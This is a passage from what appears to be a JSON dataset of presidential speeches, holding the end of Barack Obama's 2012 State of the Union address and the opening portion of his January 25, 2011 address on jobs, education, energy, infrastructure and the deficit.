bridges. A power grid that wastes too much energy. An\nincomplete high-speed broadband network that prevents a small business owner\nin rural America from selling her products all over the world.During the Great Depression, America built the Hoover Dam and the Golden Gate\nBridge. After World War II, we connected our States with a system of highways.\nDemocratic and Republican administrations invested in great projects that\nbenefited everybody, from the workers who built them to the businesses that\nstill use them today.In the next few weeks, I will sign an Executive Order clearing away the red\ntape that slows down too many construction projects. But you need to fund\nthese projects. Take the money we're no longer spending at war, use half of it\nto pay down our debt, and use the rest to do some nation-building right here\nat home.There's never been a better time to build, especially since the construction\nindustry was one of the hardest-hit when the housing bubble burst. Of course,\nconstruction workers weren't the only ones hurt. So were millions of innocent\nAmericans who've seen their home values decline. And while Government can't\nfix the problem on its own, responsible homeowners shouldn't have to sit and\nwait for the housing market to hit bottom to get some relief.That's why I'm sending this Congress a plan that gives every responsible\nhomeowner the chance to save about $3,000 a year on their mortgage, by\nrefinancing at historically low interest rates. No more red tape. No more\nrunaround from the banks. A small fee on the largest financial institutions\nwill ensure that it won't add to the deficit, and will give banks that were\nrescued by taxpayers a chance to repay a deficit of trust.Let's never forget: Millions of Americans who work hard and play by the rules\nevery day deserve a Government and a financial system that do the same. It's\ntime to apply the same rules from top to bottom: No bailouts, no handouts, and\nno copouts. An America built to last insists on responsibility from everybody.We've all paid the price for lenders who sold mortgages to people who couldn't\nafford them, and buyers who knew they couldn't afford them. That's why we need\nsmart regulations to prevent irresponsible behavior. Rules to prevent\nfinancial fraud, or toxic dumping, or faulty medical devices, don't destroy\nthe free market. They make the free market work better.There is no question that some regulations are outdated, unnecessary, or too\ncostly. In fact, I've approved fewer regulations in the first three years of\nmy presidency than my Republican predecessor did in his. I've ordered every\nfederal agency to eliminate rules that don't make sense. We've already\nannounced over 500 reforms, and just a fraction of them will save business and\ncitizens more than $10 billion over the next five years. We got rid of one\nrule from 40 years ago that could have forced some dairy farmers to spend\n$10,000 a year proving that they could contain a spill -- because milk was\nsomehow classified as an oil. With a rule like that, I guess it was worth\ncrying over spilled milk.I'm confident a farmer can contain a milk spill without a federal agency\nlooking over his shoulder. But I will not back down from making sure an oil\ncompany can contain the kind of oil spill we saw in the Gulf two years ago. I\nwill not back down from protecting our kids from mercury pollution, or making\nsure that our food is safe and our water is clean. I will not go back to the\ndays when health insurance companies had unchecked power to cancel your\npolicy, deny you coverage, or charge women differently from men.And I will not go back to the days when Wall Street was allowed to play by its\nown set of rules. The new rules we passed restore what should be any financial\nsystem's core purpose: Getting funding to entrepreneurs with the best ideas,\nand getting loans to responsible families who want to buy a home, start a\nbusiness, or send a kid to college.So if you're a big bank or financial institution, you are no longer allowed to\nmake risky bets with your customers' deposits. You're required to write out a\n\"living will\" that details exactly how you'll pay the bills if you fail --\nbecause the rest of us aren't bailing you out ever again. And if you're a\nmortgage lender or a payday lender or a credit card company, the days of\nsigning people up for products they can't afford with confusing forms and\ndeceptive practices are over. Today, American consumers finally have a\nwatchdog in Richard Cordray with one job: To look out for them.We will also establish a Financial Crimes Unit of highly trained investigators\nto crack down on large-scale fraud and protect people's investments. Some\nfinancial firms violate major anti-fraud laws because there's no real penalty\nfor being a repeat offender. That's bad for consumers, and it's bad for the\nvast majority of bankers and financial service professionals who do the right\nthing. So pass legislation that makes the penalties for fraud count.And tonight, I am asking my Attorney General to create a special unit of\nfederal prosecutors and leading state attorneys general to expand our\ninvestigations into the abusive lending and packaging of risky mortgages that\nled to the housing crisis. This new unit will hold accountable those who broke\nthe law, speed assistance to homeowners, and help turn the page on an era of\nrecklessness that hurt so many Americans.A return to the American values of fair play and shared responsibility will\nhelp us protect our people and our economy. But it should also guide us as we\nlook to pay down our debt and invest in our future.Right now, our most immediate priority is stopping a tax hike on 160 million\nworking Americans while the recovery is still fragile. People cannot afford\nlosing $40 out of each paycheck this year. There are plenty of ways to get\nthis done. So let's agree right here, right now: No side issues. No drama.\nPass the payroll tax cut without delay.When it comes to the deficit, we've already agreed to more than $2 trillion in\ncuts and savings. But we need to do more, and that means making choices. Right\nnow, we're poised to spend nearly $1 trillion more on what was supposed to be\na temporary tax break for the wealthiest 2 percent of Americans. Right now,\nbecause of loopholes and shelters in the tax code, a quarter of all\nmillionaires pay lower tax rates than millions of middle-class households.\nRight now, Warren Buffett pays a lower tax rate than his secretary.Do we want to keep these tax cuts for the wealthiest Americans? Or do we want\nto keep our investments in everything else -- like education and medical\nresearch; a strong military and care for our veterans? Because if we're\nserious about paying down our debt, we can't do both.The American people know what the right choice is. So do I. As I told the\nSpeaker this summer, I'm prepared to make more reforms that rein in the long\nterm costs of Medicare and Medicaid, and strengthen Social Security, so long\nas those programs remain a guarantee of security for seniors.But in return, we need to change our tax code so that people like me, and an\nawful lot of Members of Congress, pay our fair share of taxes. Tax reform\nshould follow the Buffett rule: If you make more than $1 million a year, you\nshould not pay less than 30 percent in taxes. And my Republican friend Tom\nCoburn is right: Washington should stop subsidizing millionaires. In fact, if\nyou're earning a million dollars a year, you shouldn't get special tax\nsubsidies or deductions. On the other hand, if you make under $250,000 a year,\nlike 98 percent of American families, your taxes shouldn't go up. You're the\nones struggling with rising costs and stagnant wages. You're the ones who need\nrelief.Now, you can call this class warfare all you want. But asking a billionaire to\npay at least as much as his secretary in taxes? Most Americans would call that\ncommon sense.We don't begrudge financial success in this country. We admire it. When\nAmericans talk about folks like me paying my fair share of taxes, it's not\nbecause they envy the rich. It's because they understand that when I get tax\nbreaks I don't need and the country can't afford, it either adds to the\ndeficit, or somebody else has to make up the difference -- like a senior on a\nfixed income; or a student trying to get through school; or a family trying to\nmake ends meet. That's not right. Americans know it's not right. They know\nthat this generation's success is only possible because past generations felt\na responsibility to each other, and to their country's future, and they know\nour way of life will only endure if we feel that same sense of shared\nresponsibility. That's how we'll reduce our deficit. That's an America built\nto last.I recognize that people watching tonight have differing views about taxes and\ndebt; energy and health care. But no matter what party they belong to, I bet\nmost Americans are thinking the same thing right now: Nothing will get done\nthis year, or next year, or maybe even the year after that, because Washington\nis broken.Can you blame them for feeling a little cynical?The greatest blow to confidence in our economy last year didn't come from\nevents beyond our control. It came from a debate in Washington over whether\nthe United States would pay its bills or not. Who benefited from that fiasco?I've talked tonight about the deficit of trust between Main Street and Wall\nStreet. But the divide between this city and the rest of the country is at\nleast as bad -- and it seems to get worse every year.Some of this has to do with the corrosive influence of money in politics. So\ntogether, let's take some steps to fix that. Send me a bill that bans insider\ntrading by Members of Congress, and I will sign it tomorrow. Let's limit any\nelected official from owning stocks in industries they impact. Let's make sure\npeople who bundle campaign contributions for Congress can't lobby Congress,\nand vice versa -- an idea that has bipartisan support, at least outside of\nWashington.Some of what's broken has to do with the way Congress does its business these\ndays. A simple majority is no longer enough to get anything -- even routine\nbusiness -- passed through the Senate. Neither party has been blameless in\nthese tactics. Now both parties should put an end to it. For starters, I ask\nthe Senate to pass a rule that all judicial and public service nominations\nreceive a simple up or down vote within 90 days.The executive branch also needs to change. Too often, it's inefficient,\noutdated and remote. That's why I've asked this Congress to grant me the\nauthority to consolidate the federal bureaucracy so that our Government is\nleaner, quicker, and more responsive to the needs of the American people.Finally, none of these reforms can happen unless we also lower the temperature\nin this town. We need to end the notion that the two parties must be locked in\na perpetual campaign of mutual destruction; that politics is about clinging to\nrigid ideologies instead of building consensus around common sense ideas.I'm a Democrat. But I believe what Republican Abraham Lincoln believed: That\nGovernment should do for people only what they cannot do better by themselves,\nand no more. That's why my education reform offers more competition, and more\ncontrol for schools and States. That's why we're getting rid of regulations\nthat don't work. That's why our health care law relies on a reformed private\nmarket, not a Government program.On the other hand, even my Republican friends who complain the most about\nGovernment spending have supported federally-financed roads, and clean energy\nprojects, and federal offices for the folks back home.The point is, we should all want a smarter, more effective Government. And\nwhile we may not be able to bridge our biggest philosophical differences this\nyear, we can make real progress. With or without this Congress, I will keep\ntaking actions that help the economy grow. But I can do a whole lot more with\nyour help. Because when we act together, there is nothing the United States of\nAmerica can't achieve.That is the lesson we've learned from our actions abroad over the last few\nyears.Ending the Iraq war has allowed us to strike decisive blows against our\nenemies. From Pakistan to Yemen, the al Qaeda operatives who remain are\nscrambling, knowing that they can't escape the reach of the United States of\nAmerica.From this position of strength, we've begun to wind down the war in\nAfghanistan. Ten thousand of our troops have come home. Twenty-three thousand\nmore will leave by the end of this summer. This transition to Afghan lead will\ncontinue, and we will build an enduring partnership with Afghanistan, so that\nit is never again a source of attacks against America.As the tide of war recedes, a wave of change has washed across the Middle East\nand North Africa, from Tunis to Cairo; from Sana'a to Tripoli. A year ago,\nQadhafi was one of the world's longest-serving dictators -- a murderer with\nAmerican blood on his hands. Today, he is gone. And in Syria, I have no doubt\nthat the Assad regime will soon discover that the forces of change can't be\nreversed, and that human dignity can't be denied.How this incredible transformation will end remains uncertain. But we have a\nhuge stake in the outcome. And while it is ultimately up to the people of the\nregion to decide their fate, we will advocate for those values that have\nserved our own country so well. We will stand against violence and\nintimidation. We will stand for the rights and dignity of all human beings --\nmen and women; Christians, Muslims, and Jews. We will support policies that\nlead to strong and stable democracies and open markets, because tyranny is no\nmatch for liberty.And we will safeguard America's own security against those who threaten our\ncitizens, our friends, and our interests. Look at Iran. Through the power of\nour diplomacy, a world that was once divided about how to deal with Iran's\nnuclear program now stands as one. The regime is more isolated than ever\nbefore; its leaders are faced with crippling sanctions, and as long as they\nshirk their responsibilities, this pressure will not relent. Let there be no\ndoubt: America is determined to prevent Iran from getting a nuclear weapon,\nand I will take no options off the table to achieve that goal. But a peaceful\nresolution of this issue is still possible, and far better, and if Iran\nchanges course and meets its obligations, it can rejoin the community of\nnations.The renewal of American leadership can be felt across the globe. Our oldest\nalliances in Europe and Asia are stronger than ever. Our ties to the Americas\nare deeper. Our iron-clad commitment to Israel's security has meant the\nclosest military cooperation between our two countries in history. We've made\nit clear that America is a Pacific power, and a new beginning in Burma has lit\na new hope. From the coalitions we've built to secure nuclear materials, to\nthe missions we've led against hunger and disease; from the blows we've dealt\nto our enemies; to the enduring power of our moral example, America is back.Anyone who tells you otherwise, anyone who tells you that America is in\ndecline or that our influence has waned, doesn't know what they're talking\nabout. That's not the message we get from leaders around the world, all of\nwhom are eager to work with us. That's not how people feel from Tokyo to\nBerlin; from Cape Town to Rio; where opinions of America are higher than\nthey've been in years. Yes, the world is changing; no, we can't control every\nevent. But America remains the one indispensable nation in world affairs --\nand as long as I'm President, I intend to keep it that way.That's why, working with our military leaders, I have proposed a new defense\nstrategy that ensures we maintain the finest military in the world, while\nsaving nearly half a trillion dollars in our budget. To stay one step ahead of\nour adversaries, I have already sent this Congress legislation that will\nsecure our country from the growing danger of cyber-threats.Above all, our freedom endures because of the men and women in uniform who\ndefend it. As they come home, we must serve them as well as they served us.\nThat includes giving them the care and benefits they have earned -- which is\nwhy we've increased annual VA spending every year I've been President. And it\nmeans enlisting our veterans in the work of rebuilding our Nation.With the bipartisan support of this Congress, we are providing new tax credits\nto companies that hire vets. Michelle and Jill Biden have worked with American\nbusinesses to secure a pledge of 135,000 jobs for veterans and their families.\nAnd tonight, I'm proposing a Veterans Job Corps that will help our communities\nhire veterans as cops and firefighters, so that America is as strong as those\nwho defend her.Which brings me back to where I began. Those of us who've been sent here to\nserve can learn from the service of our troops. When you put on that uniform,\nit doesn't matter if you're black or white; Asian or Latino; conservative or\nliberal; rich or poor; gay or straight. When you're marching into battle, you\nlook out for the person next to you, or the mission fails. When you're in the\nthick of the fight, you rise or fall as one unit, serving one Nation, leaving\nno one behind.One of my proudest possessions is the flag that the SEAL Team took with them\non the mission to get bin Laden. On it are each of their names. Some may be\nDemocrats. Some may be Republicans. But that doesn't matter. Just like it\ndidn't matter that day in the Situation Room, when I sat next to Bob Gates -- a\nman who was George Bush's defense secretary; and Hillary Clinton, a woman who\nran against me for president.All that mattered that day was the mission. No one thought about politics. No\none thought about themselves. One of the young men involved in the raid later\ntold me that he didn't deserve credit for the mission. It only succeeded, he\nsaid, because every single member of that unit did their job -- the pilot who\nlanded the helicopter that spun out of control; the translator who kept others\nfrom entering the compound; the troops who separated the women and children\nfrom the fight; the SEALs who charged up the stairs. More than that, the\nmission only succeeded because every member of that unit trusted each other --\nbecause you can't charge up those stairs, into darkness and danger, unless you\nknow that there's someone behind you, watching your back.So it is with America. Each time I look at that flag, I'm reminded that our\ndestiny is stitched together like those fifty stars and those thirteen\nstripes. No one built this country on their own. This Nation is great because\nwe built it together. This Nation is great because we worked as a team. This\nNation is great because we get each other's backs. And if we hold fast to that\ntruth, in this moment of trial, there is no challenge too great; no mission\ntoo hard. As long as we're joined in common purpose, as long as we maintain\nour common resolve, our journey moves forward, our future is hopeful, and the\nstate of our Union will always be strong.Thank you, God bless you, and may God bless the United States of America.", 
+    "name": "Barack Obama"
+}
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+{
+    "date": "January 25, 2011", 
+    "speech": "Mr. Speaker, Mr. Vice President, members of Congress, distinguished guests,\nand fellow Americans:Tonight I want to begin by congratulating the men and women of the 112th\nCongress, as well as your new Speaker, John Boehner. And as we mark this\noccasion, we're also mindful of the empty chair in this chamber, and we pray\nfor the health of our colleague -- and our friend -- Gabby Giffords.It's no secret that those of us here tonight have had our differences over the\nlast two years. The debates have been contentious; we have fought fiercely for\nour beliefs. And that's a good thing. That's what a robust democracy demands.\nThat's what helps set us apart as a nation.But there's a reason the tragedy in Tucson gave us pause. Amid all the noise\nand passion and rancor of our public debate, Tucson reminded us that no matter\nwho we are or where we come from, each of us is a part of something greater --\nsomething more consequential than party or political preference.We are part of the American family. We believe that in a country where every\nrace and faith and point of view can be found, we are still bound together as\none people; that we share common hopes and a common creed; that the dreams of\na little girl in Tucson are not so different than those of our own children,\nand that they all deserve the chance to be fulfilled.That, too, is what sets us apart as a nation.Now, by itself, this simple recognition won't usher in a new era of\ncooperation. What comes of this moment is up to us. What comes of this moment\nwill be determined not by whether we can sit together tonight, but whether we\ncan work together tomorrow.I believe we can. And I believe we must. That's what the people who sent us\nhere expect of us. With their votes, they've determined that governing will\nnow be a shared responsibility between parties. New laws will only pass with\nsupport from Democrats and Republicans. We will move forward together, or not\nat all -- for the challenges we face are bigger than party, and bigger than\npolitics.At stake right now is not who wins the next election -- after all, we just had\nan election. At stake is whether new jobs and industries take root in this\ncountry, or somewhere else. It's whether the hard work and industry of our\npeople is rewarded. It's whether we sustain the leadership that has made\nAmerica not just a place on a map, but the light to the world.We are poised for progress. Two years after the worst recession most of us\nhave ever known, the stock market has come roaring back. Corporate profits are\nup. The economy is growing again.But we have never measured progress by these yardsticks alone. We measure\nprogress by the success of our people. By the jobs they can find and the\nquality of life those jobs offer. By the prospects of a small business owner\nwho dreams of turning a good idea into a thriving enterprise. By the\nopportunities for a better life that we pass on to our children.That's the project the American people want us to work on. Together.We did that in December. Thanks to the tax cuts we passed, Americans'\npaychecks are a little bigger today. Every business can write off the full\ncost of new investments that they make this year. And these steps, taken by\nDemocrats and Republicans, will grow the economy and add to the more than one\nmillion private sector jobs created last year.But we have to do more. These steps we've taken over the last two years may\nhave broken the back of this recession, but to win the future, we'll need to\ntake on challenges that have been decades in the making.Many people watching tonight can probably remember a time when finding a good\njob meant showing up at a nearby factory or a business downtown. You didn't\nalways need a degree, and your competition was pretty much limited to your\nneighbors. If you worked hard, chances are you'd have a job for life, with a\ndecent paycheck and good benefits and the occasional promotion. Maybe you'd\neven have the pride of seeing your kids work at the same company.That world has changed. And for many, the change has been painful. I've seen\nit in the shuttered windows of once booming factories, and the vacant\nstorefronts on once busy Main Streets. I've heard it in the frustrations of\nAmericans who've seen their paychecks dwindle or their jobs disappear -- proud\nmen and women who feel like the rules have been changed in the middle of the\ngame.They're right. The rules have changed. In a single generation, revolutions in\ntechnology have transformed the way we live, work and do business. Steel mills\nthat once needed 1,000 workers can now do the same work with 100. Today, just\nabout any company can set up shop, hire workers, and sell their products\nwherever there's an Internet connection.Meanwhile, nations like China and India realized that with some changes of\ntheir own, they could compete in this new world. And so they started educating\ntheir children earlier and longer, with greater emphasis on math and science.\nThey're investing in research and new technologies. Just recently, China\nbecame the home to the world's largest private solar research facility, and\nthe world's fastest computer.So, yes, the world has changed. The competition for jobs is real. But this\nshouldn't discourage us. It should challenge us. Remember -- for all the hits\nwe've taken these last few years, for all the naysayers predicting our\ndecline, America still has the largest, most prosperous economy in the world.\nNo workers -- no workers are more productive than ours. No country has more\nsuccessful companies, or grants more patents to inventors and entrepreneurs.\nWe're the home to the world's best colleges and universities, where more\nstudents come to study than any place on Earth.What's more, we are the first nation to be founded for the sake of an idea --\nthe idea that each of us deserves the chance to shape our own destiny. That's\nwhy centuries of pioneers and immigrants have risked everything to come here.\nIt's why our students don't just memorize equations, but answer questions like\n\"What do you think of that idea? What would you change about the world? What\ndo you want to be when you grow up?\"The future is ours to win. But to get there, we can't just stand still. As\nRobert Kennedy told us, \"The future is not a gift. It is an achievement.\"\nSustaining the American Dream has never been about standing pat. It has\nrequired each generation to sacrifice, and struggle, and meet the demands of a\nnew age.And now it's our turn. We know what it takes to compete for the jobs and\nindustries of our time. We need to out-innovate, out-educate, and out-build\nthe rest of the world. We have to make America the best place on Earth to do\nbusiness. We need to take responsibility for our deficit and reform our\ngovernment. That's how our people will prosper. That's how we'll win the\nfuture. And tonight, I'd like to talk about how we get there.The first step in winning the future is encouraging American innovation. None\nof us can predict with certainty what the next big industry will be or where\nthe new jobs will come from. Thirty years ago, we couldn't know that something\ncalled the Internet would lead to an economic revolution. What we can do --\nwhat America does better than anyone else -- is spark the creativity and\nimagination of our people. We're the nation that put cars in driveways and\ncomputers in offices; the nation of Edison and the Wright brothers; of Google\nand Facebook. In America, innovation doesn't just change our lives. It is how\nwe make our living.Our free enterprise system is what drives innovation. But because it's not\nalways profitable for companies to invest in basic research, throughout our\nhistory, our government has provided cutting-edge scientists and inventors\nwith the support that they need. That's what planted the seeds for the\nInternet. That's what helped make possible things like computer chips and GPS.\nJust think of all the good jobs -- from manufacturing to retail -- that have\ncome from these breakthroughs.Half a century ago, when the Soviets beat us into space with the launch of a\nsatellite called Sputnik, we had no idea how we would beat them to the moon.\nThe science wasn't even there yet. NASA didn't exist. But after investing in\nbetter research and education, we didn't just surpass the Soviets; we\nunleashed a wave of innovation that created new industries and millions of new\njobs.This is our generation's Sputnik moment. Two years ago, I said that we needed\nto reach a level of research and development we haven't seen since the height\nof the Space Race. And in a few weeks, I will be sending a budget to Congress\nthat helps us meet that goal. We'll invest in biomedical research, information\ntechnology, and especially clean energy technology -- -- an investment that\nwill strengthen our security, protect our planet, and create countless new\njobs for our people.Already, we're seeing the promise of renewable energy. Robert and Gary Allen\nare brothers who run a small Michigan roofing company. After September 11th,\nthey volunteered their best roofers to help repair the Pentagon. But half of\ntheir factory went unused, and the recession hit them hard. Today, with the\nhelp of a government loan, that empty space is being used to manufacture solar\nshingles that are being sold all across the country. In Robert's words, \"We\nreinvented ourselves.\"That's what Americans have done for over 200 years: reinvented ourselves. And\nto spur on more success stories like the Allen Brothers, we've begun to\nreinvent our energy policy. We're not just handing out money. We're issuing a\nchallenge. We're telling America's scientists and engineers that if they\nassemble teams of the best minds in their fields, and focus on the hardest\nproblems in clean energy, we'll fund the Apollo projects of our time.At the California Institute of Technology, they're developing a way to turn\nsunlight and water into fuel for our cars. At Oak Ridge National Laboratory,\nthey're using supercomputers to get a lot more power out of our nuclear\nfacilities. With more research and incentives, we can break our dependence on\noil with biofuels, and become the first country to have a million electric\nvehicles on the road by 2015.We need to get behind this innovation. And to help pay for it, I'm asking\nCongress to eliminate the billions in taxpayer dollars we currently give to\noil companies. I don't know if -- I don't know if you've noticed, but they're\ndoing just fine on their own. So instead of subsidizing yesterday's energy,\nlet's invest in tomorrow's.Now, clean energy breakthroughs will only translate into clean energy jobs if\nbusinesses know there will be a market for what they're selling. So tonight, I\nchallenge you to join me in setting a new goal: By 2035, 80 percent of\nAmerica's electricity will come from clean energy sources.Some folks want wind and solar. Others want nuclear, clean coal and natural\ngas. To meet this goal, we will need them all -- and I urge Democrats and\nRepublicans to work together to make it happen.Maintaining our leadership in research and technology is crucial to America's\nsuccess. But if we want to win the future -- if we want innovation to produce\njobs in America and not overseas -- then we also have to win the race to\neducate our kids.Think about it. Over the next 10 years, nearly half of all new jobs will\nrequire education that goes beyond a high school education. And yet, as many\nas a quarter of our students aren't even finishing high school. The quality of\nour math and science education lags behind many other nations. America has\nfallen to ninth in the proportion of young people with a college degree. And\nso the question is whether all of us - as citizens, and as parents - are\nwilling to do what's necessary to give every child a chance to succeed.That responsibility begins not in our classrooms, but in our homes and\ncommunities. It's family that first instills the love of learning in a child.\nOnly parents can make sure the TV is turned off and homework gets done. We\nneed to teach our kids that it's not just the winner of the Super Bowl who\ndeserves to be celebrated, but the winner of the science fair. We need to\nteach them that success is not a function of fame or PR, but of hard work and\ndiscipline.Our schools share this responsibility. When a child walks into a classroom, it\nshould be a place of high expectations and high performance. But too many\nschools don't meet this test. That's why instead of just pouring money into a\nsystem that's not working, we launched a competition called Race to the Top.\nTo all 50 states, we said, \"If you show us the most innovative plans to\nimprove teacher quality and student achievement, we'll show you the money.\"Race to the Top is the most meaningful reform of our public schools in a\ngeneration. For less than 1 percent of what we spend on education each year,\nit has led over 40 states to raise their standards for teaching and learning.\nAnd these standards were developed, by the way, not by Washington, but by\nRepublican and Democratic governors throughout the country. And Race to the\nTop should be the approach we follow this year as we replace No Child Left\nBehind with a law that's more flexible and focused on what's best for our\nkids.You see, we know what's possible from our children when reform isn't just a\ntop-down mandate, but the work of local teachers and principals, school boards\nand communities. Take a school like Bruce Randolph in Denver. Three years ago,\nit was rated one of the worst schools in Colorado -- located on turf between\ntwo rival gangs. But last May, 97 percent of the seniors received their\ndiploma. Most will be the first in their families to go to college. And after\nthe first year of the school's transformation, the principal who made it\npossible wiped away tears when a student said, \"Thank you, Ms. Waters, for\nshowing that we are smart and we can make it.\" That's what good schools can\ndo, and we want good schools all across the country.Let's also remember that after parents, the biggest impact on a child's\nsuccess comes from the man or woman at the front of the classroom. In South\nKorea, teachers are known as \"nation builders.\" Here in America, it's time we\ntreated the people who educate our children with the same level of respect. We\nwant to reward good teachers and stop making excuses for bad ones. And over\nthe next 10 years, with so many baby boomers retiring from our classrooms, we\nwant to prepare 100,000 new teachers in the fields of science and technology\nand engineering and math.In fact, to every young person listening tonight who's contemplating their\ncareer choice: If you want to make a difference in the life of our nation; if\nyou want to make a difference in the life of a child -- become a teacher. Your\ncountry needs you.Of course, the education race doesn't end with a high school diploma. To\ncompete, higher education must be within the reach of every American. That's\nwhy we've ended the unwarranted taxpayer subsidies that went to banks, and\nused the savings to make college affordable for millions of students. And this\nyear, I ask Congress to go further, and make permanent our tuition tax credit\n- worth $10,000 for four years of college. It's the right thing to do.Because people need to be able to train for new jobs and careers in today's\nfast-changing economy, we're also revitalizing America's community colleges.\nLast month, I saw the promise of these schools at Forsyth Tech in North\nCarolina. Many of the students there used to work in the surrounding factories\nthat have since left town. One mother of two, a woman named Kathy Proctor, had\nworked in the furniture industry since she was 18 years old. And she told me\nshe's earning her degree in biotechnology now, at 55 years old, not just\nbecause the furniture jobs are gone, but because she wants to inspire her\nchildren to pursue their dreams, too. As Kathy said, \"I hope it tells them to\nnever give up.\"If we take these steps -- if we raise expectations for every child, and give\nthem the best possible chance at an education, from the day they are born\nuntil the last job they take - we will reach the goal that I set two years\nago: By the end of the decade, America will once again have the highest\nproportion of college graduates in the world.One last point about education. Today, there are hundreds of thousands of\nstudents excelling in our schools who are not American citizens. Some are the\nchildren of undocumented workers, who had nothing to do with the actions of\ntheir parents. They grew up as Americans and pledge allegiance to our flag,\nand yet they live every day with the threat of deportation. Others come here\nfrom abroad to study in our colleges and universities. But as soon as they\nobtain advanced degrees, we send them back home to compete against us. It\nmakes no sense.Now, I strongly believe that we should take on, once and for all, the issue of\nillegal immigration. And I am prepared to work with Republicans and Democrats\nto protect our borders, enforce our laws and address the millions of\nundocumented workers who are now living in the shadows. I know that debate\nwill be difficult. I know it will take time. But tonight, let's agree to make\nthat effort. And let's stop expelling talented, responsible young people who\ncould be staffing our research labs or starting a new business, who could be\nfurther enriching this nation.The third step in winning the future is rebuilding America. To attract new\nbusinesses to our shores, we need the fastest, most reliable ways to move\npeople, goods, and information -- from high-speed rail to high-speed Internet.Our infrastructure used to be the best, but our lead has slipped. South Korean\nhomes now have greater Internet access than we do. Countries in Europe and\nRussia invest more in their roads and railways than we do. China is building\nfaster trains and newer airports. Meanwhile, when our own engineers graded our\nnation's infrastructure, they gave us a \"D.\"We have to do better. America is the nation that built the transcontinental\nrailroad, brought electricity to rural communities, constructed the Interstate\nHighway System. The jobs created by these projects didn't just come from\nlaying down track or pavement. They came from businesses that opened near a\ntown's new train station or the new off-ramp.So over the last two years, we've begun rebuilding for the 21st century, a\nproject that has meant thousands of good jobs for the hard-hit construction\nindustry. And tonight, I'm proposing that we redouble those efforts.We'll put more Americans to work repairing crumbling roads and bridges. We'll\nmake sure this is fully paid for, attract private investment, and pick\nprojects based [on] what's best for the economy, not politicians.Within 25 years, our goal is to give 80 percent of Americans access to\nhigh-speed rail. This could allow you to go places in half the time it takes\nto travel by car. For some trips, it will be faster than flying - without the\npat-down. As we speak, routes in California and the Midwest are already\nunderway.Within the next five years, we'll make it possible for businesses to deploy\nthe next generation of high-speed wireless coverage to 98 percent of all\nAmericans. This isn't just about -- -- this isn't about faster Internet or\nfewer dropped calls. It's about connecting every part of America to the\ndigital age. It's about a rural community in Iowa or Alabama where farmers and\nsmall business owners will be able to sell their products all over the world.\nIt's about a firefighter who can download the design of a burning building\nonto a handheld device; a student who can take classes with a digital\ntextbook; or a patient who can have face-to-face video chats with her doctor.All these investments -- in innovation, education, and infrastructure - will\nmake America a better place to do business and create jobs. But to help our\ncompanies compete, we also have to knock down barriers that stand in the way\nof their success.For example, over the years, a parade of lobbyists has rigged the tax code to\nbenefit particular companies and industries. Those with accountants or lawyers\nto work the system can end up paying no taxes at all. But all the rest are hit\nwith one of the highest corporate tax rates in the world. It makes no sense,\nand it has to change.So tonight, I'm asking Democrats and Republicans to simplify the system. Get\nrid of the loopholes. Level the playing field. And use the savings to lower\nthe corporate tax rate for the first time in 25 years - without adding to our\ndeficit. It can be done.To help businesses sell more products abroad, we set a goal of doubling our\nexports by 2014 -- because the more we export, the more jobs we create here at\nhome. Already, our exports are up. Recently, we signed agreements with India\nand China that will support more than 250,000 jobs here in the United States.\nAnd last month, we finalized a trade agreement with South Korea that will\nsupport at least 70,000 American jobs. This agreement has unprecedented\nsupport from business and labor, Democrats and Republicans -- and I ask this\nCongress to pass it as soon as possible.Now, before I took office, I made it clear that we would enforce our trade\nagreements, and that I would only sign deals that keep faith with American\nworkers and promote American jobs. That's what we did with Korea, and that's\nwhat I intend to do as we pursue agreements with Panama and Colombia and\ncontinue our Asia Pacific and global trade talks.To reduce barriers to growth and investment, I've ordered a review of\ngovernment regulations. When we find rules that put an unnecessary burden on\nbusinesses, we will fix them. But I will not hesitate to create or enforce\ncommon-sense safeguards to protect the American people. That's what we've done\nin this country for more than a century. It's why our food is safe to eat, our\nwater is safe to drink, and our air is safe to breathe. It's why we have speed\nlimits and child labor laws. It's why last year, we put in place consumer\nprotections against hidden fees and penalties by credit card companies and new\nrules to prevent another financial crisis. And it's why we passed reform that\nfinally prevents the health insurance industry from exploiting patients.Now, I have heard rumors that a few of you still have concerns about our new\nhealth care law. So let me be the first to say that anything can be improved.\nIf you have ideas about how to improve this law by making care better or more\naffordable, I am eager to work with you. We can start right now by correcting\na flaw in the legislation that has placed an unnecessary bookkeeping burden on\nsmall businesses.What I'm not willing to do -- what I'm not willing to do is go back to the\ndays when insurance companies could deny someone coverage because of a\npreexisting condition.I'm not willing to tell James Howard, a brain cancer patient from Texas, that\nhis treatment might not be covered. I'm not willing to tell Jim Houser, a\nsmall business man from Oregon, that he has to go back to paying $5,000 more\nto cover his employees. As we speak, this law is making prescription drugs\ncheaper for seniors and giving uninsured students a chance to stay on their\npatients' -- parents' coverage.So I say to this chamber tonight, instead of re-fighting the battles of the\nlast two years, let's fix what needs fixing and let's move forward.Now, the final critical step in winning the future is to make sure we aren't\nburied under a mountain of debt.We are living with a legacy of deficit spending that began almost a decade\nago. And in the wake of the financial crisis, some of that was necessary to\nkeep credit flowing, save jobs, and put money in people's pockets.But now that the worst of the recession is over, we have to confront the fact\nthat our government spends more than it takes in. That is not sustainable.\nEvery day, families sacrifice to live within their means. They deserve a\ngovernment that does the same.So tonight, I am proposing that starting this year, we freeze annual domestic\nspending for the next five years. Now, this would reduce the deficit by more\nthan $400 billion over the next decade, and will bring discretionary spending\nto the lowest share of our economy since Dwight Eisenhower was President.This freeze will require painful cuts. Already, we've frozen the salaries of\nhardworking federal employees for the next two years. I've proposed cuts to\nthings I care deeply about, like community action programs. The Secretary of\nDefense has also agreed to cut tens of billions of dollars in spending that he\nand his generals believe our military can do without.I recognize that some in this chamber have already proposed deeper cuts, and\nI'm willing to eliminate whatever we can honestly afford to do without. But\nlet's make sure that we're not doing it on the backs of our most vulnerable\ncitizens. And let's make sure that what we're cutting is really excess weight.\nCutting the deficit by gutting our investments in innovation and education is\nlike lightening an overloaded airplane by removing its engine. It may make you\nfeel like you're flying high at first, but it won't take long before you feel\nthe impact.Now, most of the cuts and savings I've proposed only address annual domestic\nspending, which represents a little more than 12 percent of our budget. To\nmake further progress, we have to stop pretending that cutting this kind of\nspending alone will be enough. It won't.The bipartisan fiscal commission I created last year made this crystal clear.\nI don't agree with all their proposals, but they made important progress. And\ntheir conclusion is that the only way to tackle our deficit is to cut\nexcessive spending wherever we find it - in domestic spending, defense\nspending, health care spending, and spending through tax breaks and loopholes.This means further reducing health care costs, including programs like\nMedicare and Medicaid, which are the single biggest contributor to our\nlong-term deficit. The health insurance law we passed last year will slow\nthese rising costs, which is part of the reason that nonpartisan economists\nhave said that repealing the health care law would add a quarter of a 